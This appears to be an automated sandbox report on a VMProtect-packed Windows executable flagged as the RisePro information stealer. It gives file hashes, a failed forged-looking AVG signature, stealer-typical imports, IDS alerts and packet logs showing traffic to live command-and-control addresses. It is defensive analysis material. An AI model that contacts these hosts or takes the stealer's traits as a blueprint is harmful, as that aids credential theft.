Preview:	L..................F.... ...o4x.B...o4x.B...F...B.....E.....................X.:..DG..Yr?.D..U..k0.&...&...... M.........B......B.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X;.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X9...Local.<......DWSl.X;.....V......................X..L.o.c.a.l.....N.1......XB...Temp..:......DWSl.XB.....\.....................)9r.T.e.m.p.......1......XG...EDGEMS~1.........XG..XG.....!......................J..E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..XG. .EdgeMS2.exe.H......XG..XG.....6.........................E.d.g.e.M.S.2...e.x.e.......................-...........................C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.936226780695067
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'764'472 bytes
MD5:	d937032f47d04da92a0fa530a7b5b919
SHA1:	d07ff5e09b6d39fe506229b156baf87424160ae6
SHA256:	56349484a64abf45ea7b380867d3a2c9dfe9a6554eba52291deabbd35d9eca07
SHA512:	ca1ad921b769355c69d32a932690a15e9911620cf1a386d9220fde4bb5cc1a1a5fffc863e4392310193dbce27a980fc1d7ede8e9453ec98b33dc24de7a7e0839
SSDEEP:	98304:AajcaxycK4oBhdsd7HnP/FCaO1PyWHOVmC:fIawB4ozdsd7H4aOpqV
TLSH:	5B06235FBAC166ADC2A842701873FA7D70B21D9504264D1E6AFC3ED7BBF3925A433142
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.$f...............'............1.?...... ....@...........................r.......9...@................................

File Icon


Icon Hash:	137bdbfb3b89b0b3

Static PE Info

General

Entrypoint:	0x7fda31
Entrypoint Section:	.vmp
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6624C730 [Sun Apr 21 07:58:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fce2185f86316405847dae4f4adccdc7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=AVG Technologies USA LLC \u2122\u2030\u2122\u2030\u2122\u2030
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	06/01/2024 11:14:42 07/01/2034 11:14:42
Subject Chain	CN=AVG Technologies USA LLC \u2122\u2030\u2122\u2030\u2122\u2030
Version:	3
Thumbprint MD5:	27F5DD79C86B9255242DDB29A51B691E
Thumbprint SHA-1:	44268FBAA5D87BA1717C7237701B06FA20E9AF66
Thumbprint SHA-256:	1C39A7BBBC7445339DEFD55E21DFA65CDEB9037F0FD33140759077C31CB40BE0
Serial:	59AE1233E1806897438DF0EEC7051E17

Entrypoint Preview

Instruction
push ecx
pushfd
mov ecx, 560E5C2Bh
call 00007FD9B991D948h
push 6E24E814h
dec si
call 00007FD9B9918EDFh
aad 75h
inc edi
add eax, 909D8F10h
aam 25h
int1
pop eax
jmp 00007FD9B9C30591h
lea esp, dword ptr [esp+0Ch]
jmp 00007FD9B9B82679h
sub cl, FFFFFF97h
not cl
rol cl, 1
jmp 00007FD9B98E47A7h
jmp 00007FD9B9B6C797h
mov eax, F39DEC09h
movzx ecx, al
mov edx, dword ptr [ecx+edi-09h]
sub eax, eax
xor ecx, ecx
adc eax, dword ptr [edi+eax*8+04h]
bswap ecx
jmp 00007FD9B9B44166h
push esi
pushfd
mov esi, 13284101h
xor esi, esi
bswap esi
mov dword ptr [esp+08h], 0141FE60h
mov esi, dword ptr [esp+esi*4+00000004h]
popfd
call 00007FD9B9B42FDBh
push 1CB35D32h
mov eax, dword ptr [ebp+00h]
call 00007FD9B98FB29Fh
sub byte ptr [esp+04h], FFFFFF88h
inc byte ptr [esp+0Ch]
or ecx, edx
mov dword ptr [esi], ecx
jmp 00007FD9B9B5E7D1h
lea esp, dword ptr [esp+14h]
jmp 00007FD9B993A560h
not ecx
not esi
or ecx, esi
call 00007FD9B9B5DF30h
sub eax, 99F45392h
sub eax, CF88BF61h
pop esp
mov bl, 5Fh
mov word ptr [0807EBB6h], ds
nop

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4022f4	0x140	.vmp
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x709000	0x227ff	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x395800	0x18f8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x707000	0x19f8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3a005c	0x18	.vmp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x706400	0x40	.vmp
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x395000	0x8c	.vmp
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x405220	0x40	.vmp
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x160f48	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x162000	0x1f1b0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x182000	0x72d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x18a000	0x20a3de	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x395000	0x720	0x800	773cf592c33759cb6a7ccf1adbf1776f	False	0.05615234375	data	0.3444195344225373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x396000	0x370950	0x370a00	6161081b6b83df637d10a25669d46c3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x707000	0x19f8	0x1a00	9d27b3b9175627e7ef57836a793f16b2	False	0.35366586538461536	data	5.818518031482582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x709000	0x227ff	0x22800	a7a6fead8df9058fca23d0a9d2a9a8b0	False	0.5371659873188406	data	5.978564906348176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x7091c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.4596622889305816
RT_ICON	0x70a268	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.3473665564478035
RT_ICON	0x70e490	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.27914645687921447
RT_ICON	0x71ecb8	0xb8ff	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9896323824405077
RT_GROUP_ICON	0x72a5b8	0x3e	data			0.8225806451612904
RT_VERSION	0x72a5f8	0x3cc	data	English	United States	0.3950617283950617
RT_MANIFEST	0x72a9c4	0xe3b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.38594564919022784

Imports

DLL	Import
KERNEL32.dll	GetVersionExA
USER32.dll	wsprintfA
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitialize
WS2_32.dll	WSAStartup
CRYPT32.dll	CryptUnprotectData
SHLWAPI.dll	PathFindExtensionA
gdiplus.dll	GdipGetImageEncoders
SETUPAPI.dll	SetupDiEnumDeviceInfo
ntdll.dll	RtlUnicodeStringToAnsiString
RstrtMgr.DLL	RmStartSession
KERNEL32.dll	GetSystemTimeAsFileTime
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/22/24-01:17:59.560718	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49707	50500	192.168.2.5	193.233.132.47
04/22/24-01:17:58.034432	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49707	193.233.132.47	192.168.2.5
04/22/24-01:17:57.539667	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49707	50500	192.168.2.5	193.233.132.47
04/22/24-01:17:57.772067	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49707	193.233.132.47	192.168.2.5
04/22/24-01:18:04.543344	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49710	80	192.168.2.5	193.233.132.175

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 01:17:57.276587963 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:57.524183989 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:57.524293900 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:57.539666891 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:57.772067070 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:57.786982059 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:57.787091017 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:57.889992952 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:58.034431934 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:58.077505112 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:58.177788973 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:58.302829981 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.302864075 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.303029060 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.304826975 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.304847956 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.537599087 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.537703037 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.540061951 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.540079117 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.540501118 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.593014002 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.602189064 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.648134947 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.773533106 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.773664951 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.773772955 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.776146889 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.776151896 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.776206017 CEST	49708	443	192.168.2.5	34.117.186.192
Apr 22, 2024 01:17:58.776221991 CEST	443	49708	34.117.186.192	192.168.2.5
Apr 22, 2024 01:17:58.888837099 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:58.888880968 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:58.888961077 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:58.889569998 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:58.889583111 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.124675989 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.124841928 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.130264044 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.130273104 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.130666971 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.131953955 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.176119089 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.558583021 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.558665991 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.558748007 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.560106993 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.560106993 CEST	49709	443	192.168.2.5	104.26.5.15
Apr 22, 2024 01:17:59.560123920 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.560132980 CEST	443	49709	104.26.5.15	192.168.2.5
Apr 22, 2024 01:17:59.560718060 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:17:59.849541903 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:59.880049944 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:17:59.890227079 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.150377035 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.202440977 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.219039917 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.478547096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.478605032 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.478643894 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.478692055 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.478703976 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.478740931 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.478768110 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.530522108 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.546525955 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.804692030 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:00.858649969 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:00.874381065 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:01.132281065 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:01.186764002 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:03.707623959 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:03.714474916 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:03.962332010 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:03.962389946 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:03.962424040 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:03.962455988 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:03.962491035 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:03.962690115 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.002413034 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.003379107 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.036732912 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.211798906 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.211850882 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.211884022 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.211916924 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.211963892 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212064981 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.212074041 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212117910 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.212152958 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.212155104 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212193012 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212234974 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212270975 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.212305069 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.212347031 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.212380886 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.251257896 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.251348019 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.288604975 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.288990021 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.288990021 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.459748030 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.459798098 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.459835052 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.459882975 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.459980011 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460052967 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460163116 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460192919 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460226059 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460341930 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460427999 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460505009 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460510969 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460536003 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460568905 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460580111 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460644007 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460647106 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460704088 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460740089 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460808992 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.460937023 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.460968971 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.461033106 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.461087942 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.461153030 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.499095917 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.499181986 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.499213934 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.499258041 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.540771961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.540832043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:04.540935040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.543344021 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:04.707880020 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.707940102 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.707974911 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708008051 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708034039 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708169937 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708267927 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708303928 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708336115 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708338976 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708400011 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708625078 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708657026 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708688974 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708693981 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708723068 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708731890 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708755016 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708775043 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708818913 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708841085 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.708906889 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.708998919 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709031105 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709062099 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709100962 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709148884 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709227085 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709347010 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709379911 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709414959 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709424973 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709448099 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709469080 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709518909 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709522963 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709593058 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709598064 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709650993 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709712982 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709777117 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709788084 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709820986 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709856987 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709893942 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.709896088 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.709965944 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710094929 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710129023 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710169077 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710203886 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710216045 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710273027 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710320950 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710354090 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710390091 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710423946 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710427999 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710504055 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710505962 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710570097 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710660934 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710722923 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.710778952 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.710844040 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.746989012 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.747044086 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.747088909 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.747123957 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:04.747138023 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:04.747194052 CEST	49707	50500	192.168.2.5	193.233.132.47
